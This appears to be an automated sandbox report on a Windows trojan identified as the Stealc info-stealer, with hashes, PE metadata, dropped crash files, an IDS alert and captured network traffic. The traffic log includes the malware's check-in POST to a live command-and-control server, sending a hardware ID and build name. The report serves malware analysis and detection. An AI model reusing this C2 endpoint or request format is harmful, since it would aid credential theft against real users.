25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.201.252.118	unknown	Netherlands		44241	INFRANET-ASIT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540239
Start date and time:	2024-10-23 15:41:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4M3JIACIWk.exe renamed because original name is a hash value
Original Sample Name:	0bc1c014e9e5d1b09d1cf2ba0e521c79.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 166
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
VT rate limit hit for: 4M3JIACIWk.exe

Simulations

Behavior and APIs

Time	Type	Description
09:42:20	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.201.252.118	AUCgzsQbyJ.exe	Get hash	malicious	Stealc	Browse	185.201.252.118/ef952bc0f542da4b.php
185.201.252.118	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse	185.201.252.118/ef952bc0f542da4b.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INFRANET-ASIT	AUCgzsQbyJ.exe	Get hash	malicious	Stealc	Browse	185.201.252.118
	X2lvDxMUmn.exe	Get hash	malicious	Stealc, Vidar	Browse	185.201.252.118
	DocuSign2.exe	Get hash	malicious	Unknown	Browse	185.201.252.24
	file.exe	Get hash	malicious	SystemBC	Browse	185.201.254.98
	JSjL2eRBWY	Get hash	malicious	Gafgyt, Mirai	Browse	185.201.254.126
	FWMUofbMEx.exe	Get hash	malicious	RedLine	Browse	185.201.252.33
	Yw1lsl5Uee.exe	Get hash	malicious	RedLine	Browse	185.201.252.33
	E05rh4L9R4.exe	Get hash	malicious	RedLine	Browse	185.201.252.33

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_4M3JIACIWk.exe_42abe2dd17d2b9ef6341786752f88f99cca66ab_4786b708_13c8a5b3-1761-4a90-bdd2-1bca33a5700f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9629086815726382
Encrypted:	false
SSDEEP:	96:oAipO4qs7h3p7qnSQXIDcQpc6W9bcEKcw3c+HbHg/8BRTf3o8Fa9OyRgTvXNtZrn:UpPq70niBQpj/XZrP2KzuiF0Z24IO8L
MD5:	DBA57899E57634B7AB9EFE3DE1BE8FF5
SHA1:	F0444136A7FED0286CFD00EF5D43AC59165106D0
SHA-256:	0CBAC11800179F72E3E4711B38E40FD39216CE6880C195C2B43784D3B49F372E
SHA-512:	E37B42FB167C0CA6F4402EB9E7021D14F215FA2D067C45A1BC0685D3939AA6A84151EA4E473A923C2D0EBF9FA0FED61C9DD6D9405F7DC9E6BD71BAF689F5E642
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.1.6.4.5.2.3.4.4.1.2.4.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.1.6.4.5.2.4.1.4.4.3.7.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.c.8.a.5.b.3.-.1.7.6.1.-.4.a.9.0.-.b.d.d.2.-.1.b.c.a.3.3.a.5.7.0.0.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.e.5.1.1.1.1.-.7.e.f.6.-.4.8.8.3.-.9.2.0.c.-.c.4.8.5.5.4.1.b.e.a.b.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.4.M.3.J.I.A.C.I.W.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.8.4.-.0.0.0.1.-.0.0.1.4.-.9.2.d.3.-.2.4.5.4.5.1.2.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.8.e.0.f.c.4.b.1.a.e.e.9.4.c.2.8.e.6.6.a.c.0.c.0.3.e.2.6.1.4.0.0.0.0.f.f.f.f.!.0.0.0.0.3.c.8.c.8.7.2.d.9.0.b.3.0.8.9.4.4.d.9.7.9.b.0.3.3.b.4.8.8.7.0.f.1.d.2.9.3.4.d.b.!.4.M.3.J.I.A.C.I.W.k...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER869A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Oct 23 13:42:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60654
Entropy (8bit):	1.8050824143016486
Encrypted:	false
SSDEEP:	192:DXPqXhAlFXQOQOJwyl+esHMvLyMvaDXzrtaOiWl3St9Q+4lEUHB4RZjihl:KAl5QExliHGLyKtOR3dlEZRZjQ
MD5:	C0B3F2124C563853A76332D02061D96E
SHA1:	63A44687FBC73891A67CFB52432A49577E9ED4DF
SHA-256:	9353E380F3FD93A33B4FB47BC2038370AFF20B49EA0F6AB5D314BB943DEED7CE
SHA-512:	52B7778D67530F252D4BF15F089B2C689138A6A4662071CD1C4313F0C5F30195B75AC191CD7FCC45CA12C271C8B92997297670788DDA93198B3A19C528B3CE50
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......+..g............4...............<............*..........T.......8...........T...........P3..........................................................................................................eJ......H.......GenuineIntel............T...........%..g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8870.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.7014431260016023
Encrypted:	false
SSDEEP:	192:R6l7wVeJtg66z6YEIxSUwugmfJGripDy89bhUsf8Lm:R6lXJK6W6YEeSUwugmfJGrkhHf9
MD5:	BF6FF3FB4C4C490C9681D0859A879106
SHA1:	90CA333368C22C9B4F9005ABD4A765E0E4EB9454
SHA-256:	5C4C104E07F61A633724714FB4AE40CC72D95675B783F9BB7BED431590E8461E
SHA-512:	5EDBFA596E8188AB62D64BF842A1690BAB419C7D0B5F9557D2A1577A02BB3F96D894C046C22F083505EF6EA38319DA36B31F25CB29B93714F050BC2B4AD671F1
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.9.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER88AF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.482639493759417
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9idWpW8VYIdYYm8M4JOLrKFe+q81dGud2ifWId:uIjfJI7Ys7VPJOfNEdjd2ifWId
MD5:	EABD2EB88F7EEA0C05E9E51391B6D657
SHA1:	CEF908706DE808B097361671FE0301158003BB04
SHA-256:	0B195D8BF4FAA545907197F712B91CD30BFE6149CADE6C620C7624190A115387
SHA-512:	F9315C148AC76D48C42DE27D52EFB723FB3EAE6FF9AA317855D85851F130BF4F5DAA17BA85EE6591496EB49B4A0A2F0D3E666B2A6162B1FAB2A902B86B65845E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="556124" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421557916333658
Encrypted:	false
SSDEEP:	6144:8Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNz0uhiTw:nvloTMW+EZMM6DFy903w
MD5:	BC9F1FB03E3F3FF9E3DBBCD0F36F5DDE
SHA1:	8E299378E9BBBB579DCEBF296ECE95556913789B
SHA-256:	E2BF4A347CD0DBC9F10BC6F989BBB5C23B3AE92912EE924569E010DE19A93A15
SHA-512:	1C911FE5705AE34F1DBC68A8801FF97B7D38123082CF7D9720F956050CA1A7CA47D4EC2E13496CD51828342D04CB0A304A60E0DF968624633DDB23B5AA28612C
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmvW.WQ%.................................................................................................................................................................................................................................................................................................................................................c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.7347912152991976
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4M3JIACIWk.exe
File size:	350'208 bytes
MD5:	0bc1c014e9e5d1b09d1cf2ba0e521c79
SHA1:	3c8c872d90b308944d979b033b48870f1d2934db
SHA256:	c7bbcad5b7a6cb9a404c4b6077cd657f6d24a98b5b7c4a399aef65a709e73f95
SHA512:	33cb663758371e41687d7e13bacef81061e010a82dcfd10fe4261bf842d5ad6aa03699ac129bd306e9245c9392cdc5ceccac9b4b856c9511db382950915eba16
SSDEEP:	6144:oCm3W5o8zXGDfCRg1sm/9zXrOEjUNIzUnvCMcbp+W258bwc:+3W5o8zXGDfCRgHzXaE4NIonv7s+W2J
TLSH:	DA74AE906AF69436F7F78A366A30B6D45A3BF8A36971C17E21102A0F1D716D08D36733
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........aLLb..Lb..Lb...-..Mb..R0..Wb..R0..]b..R0...b..k.t.Kb..Lb..;b..R0..Mb..R0..Mb..R0..Mb..RichLb..........................PE..L..

File Icon


Icon Hash:	17694cb2b24d2117

Static PE Info

General

Entrypoint:	0x401355
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6603BA6B [Wed Mar 27 06:19:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6819dd824bc2d02263bbcf0f103eebe1

Entrypoint Preview

Instruction
call 00007F0440D941D5h
jmp 00007F0440D9233Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0043C478h], eax
mov dword ptr [0043C474h], ecx
mov dword ptr [0043C470h], edx
mov dword ptr [0043C46Ch], ebx
mov dword ptr [0043C468h], esi
mov dword ptr [0043C464h], edi
mov word ptr [0043C490h], ss
mov word ptr [0043C484h], cs
mov word ptr [0043C460h], ds
mov word ptr [0043C45Ch], es
mov word ptr [0043C458h], fs
mov word ptr [0043C454h], gs
pushfd
pop dword ptr [0043C488h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0043C47Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0043C480h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0043C48Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0043C3C8h], 00010001h
mov eax, dword ptr [0043C480h]
mov dword ptr [0043C37Ch], eax
mov dword ptr [0043C370h], C0000409h
mov dword ptr [0043C374h], 00000001h
mov eax, dword ptr [0043B004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0043B008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000D4h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3988c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11b000	0x17b48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x36c50	0x36e00	3779c8e3dbd02971eb9459ef81598609	False	0.8355815774487472	data	7.485371704883883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x38000	0x21fa	0x2200	6009238c7e174df4828e252a1b1cc8d9	False	0.37385110294117646	data	5.59558962454967	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3b000	0xdf680	0x4800	df930f96a9cbf26b0e6ee3512a950d5c	False	0.05088975694444445	data	0.6177492689585721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x11b000	0x145b48	0x17c00	594c65639afb3962a5c5caa39d67bbe3	False	0.4697985197368421	data	5.095954536512385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x11b850	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.5613006396588486
RT_ICON	0x11c6f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.6322202166064982
RT_ICON	0x11cfa0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6768433179723502
RT_ICON	0x11d668	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.7413294797687862
RT_ICON	0x11dbd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkish	Turkey	0.5067427385892116
RT_ICON	0x120178	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkish	Turkey	0.6057692307692307
RT_ICON	0x121220	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkish	Turkey	0.6012295081967213
RT_ICON	0x121ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkish	Turkey	0.7473404255319149
RT_ICON	0x122088	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.40085287846481876
RT_ICON	0x122f30	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.49954873646209386
RT_ICON	0x1237d8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.5236175115207373
RT_ICON	0x123ea0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.5585260115606936
RT_ICON	0x124408	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.35466804979253114
RT_ICON	0x1269b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.3820356472795497
RT_ICON	0x127a58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.4045081967213115
RT_ICON	0x1283e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.42109929078014185
RT_ICON	0x1288c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.39125799573560766
RT_ICON	0x129768	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5496389891696751
RT_ICON	0x12a010	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6117511520737328
RT_ICON	0x12a6d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6416184971098265
RT_ICON	0x12ac40	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.4169793621013133
RT_ICON	0x12bce8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.4086065573770492
RT_ICON	0x12c670	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.44858156028368795
RT_STRING	0x12cce8	0x114	data			0.532608695652174
RT_STRING	0x12ce00	0x6b4	data			0.432983682983683
RT_STRING	0x12d4b8	0x61e	data			0.43039591315453385
RT_STRING	0x12dad8	0x3cc	data			0.4588477366255144
RT_STRING	0x12dea8	0x7fc	data			0.42025440313111545
RT_STRING	0x12e6a8	0x7c2	data			0.4174219536757301
RT_STRING	0x12ee70	0x67a	data			0.439686369119421
RT_STRING	0x12f4f0	0x8a4	data			0.4159132007233273
RT_STRING	0x12fd98	0x6a6	data			0.43478260869565216
RT_STRING	0x130440	0x6ce	data			0.43398392652123996
RT_STRING	0x130b10	0x780	data			0.4270833333333333
RT_STRING	0x131290	0x5d6	data			0.4404283801874163
RT_STRING	0x131868	0x738	data			0.42803030303030304
RT_STRING	0x131fa0	0x6c6	data			0.43252595155709345
RT_STRING	0x132668	0x4e0	data			0.45032051282051283
RT_GROUP_ICON	0x128848	0x76	data	Turkish	Turkey	0.6694915254237288
RT_GROUP_ICON	0x122010	0x76	data	Turkish	Turkey	0.6610169491525424
RT_GROUP_ICON	0x12cad8	0x68	data	Turkish	Turkey	0.7211538461538461
RT_VERSION	0x12cb40	0x1a8	data			0.5731132075471698

Imports

DLL	Import
KERNEL32.dll	GetNumaProcessorNode, InterlockedDecrement, SetDefaultCommConfigW, GetEnvironmentStringsW, GlobalLock, CancelWaitableTimer, InterlockedCompareExchange, GetModuleHandleW, GetConsoleCP, GlobalAlloc, FatalAppExitW, CopyFileW, GetSystemWow64DirectoryW, DeleteVolumeMountPointW, GetStringTypeExW, HeapCreate, GetTimeFormatW, GetFileAttributesW, GetModuleFileNameW, GetConsoleFontSize, GetACP, RaiseException, SetLastError, PeekNamedPipe, MoveFileW, SetStdHandle, BuildCommDCBW, GetNumaHighestNodeNumber, ResetEvent, LoadLibraryA, SetCalendarInfoW, WritePrivateProfileStringA, SetCommMask, FindAtomA, FreeEnvironmentStringsW, PurgeComm, GetVersionExA, ReadConsoleOutputCharacterW, OpenFileMappingA, LCMapStringW, LocalFileTimeToFileTime, CloseHandle, WriteConsoleW, GetProcAddress, GetComputerNameA, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, GetLastError, Sleep, HeapSize, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, SetHandleCount, GetFileType, DeleteCriticalSection, VirtualFree, HeapFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, HeapReAlloc, GetCPInfo, GetOEMCP, IsValidCodePage, InitializeCriticalSectionAndSpinCount, RtlUnwind, LCMapStringA, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetFilePointer, GetConsoleMode, FlushFileBuffers, WriteConsoleA, GetConsoleOutputCP, CreateFileA
USER32.dll	SetFocus
ADVAPI32.dll	QueryServiceLockStatusW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T15:42:03.643810+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49705	185.201.252.118	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 15:42:02.114034891 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:02.120233059 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:02.120311975 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:02.120460987 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:02.126580000 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:02.935492992 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:02.935620070 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:03.405572891 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:03.411448956 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:03.643719912 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:03.643810034 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:08.762376070 CEST	80	49705	185.201.252.118	192.168.2.5
Oct 23, 2024 15:42:08.762589931 CEST	49705	80	192.168.2.5	185.201.252.118
Oct 23, 2024 15:42:23.507165909 CEST	49705	80	192.168.2.5	185.201.252.118

HTTP Request Dependency Graph

185.201.252.118

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	185.201.252.118	80	4996	C:\Users\user\Desktop\4M3JIACIWk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:42:02.120460987 CEST	90	OUT	GET / HTTP/1.1 Host: 185.201.252.118 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:42:02.935492992 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:42:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:42:03.405572891 CEST	419	OUT	POST /ef952bc0f542da4b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKE Host: 185.201.252.118 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 35 42 41 33 31 42 42 44 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"9A5BA31BBDD81263800096------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"LogsDiller------JDAFHCGIJECFHIDGDBKE--
Oct 23, 2024 15:42:03.643719912 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:42:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	09:41:57
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\4M3JIACIWk.exe
Wow64 process (32bit):	true
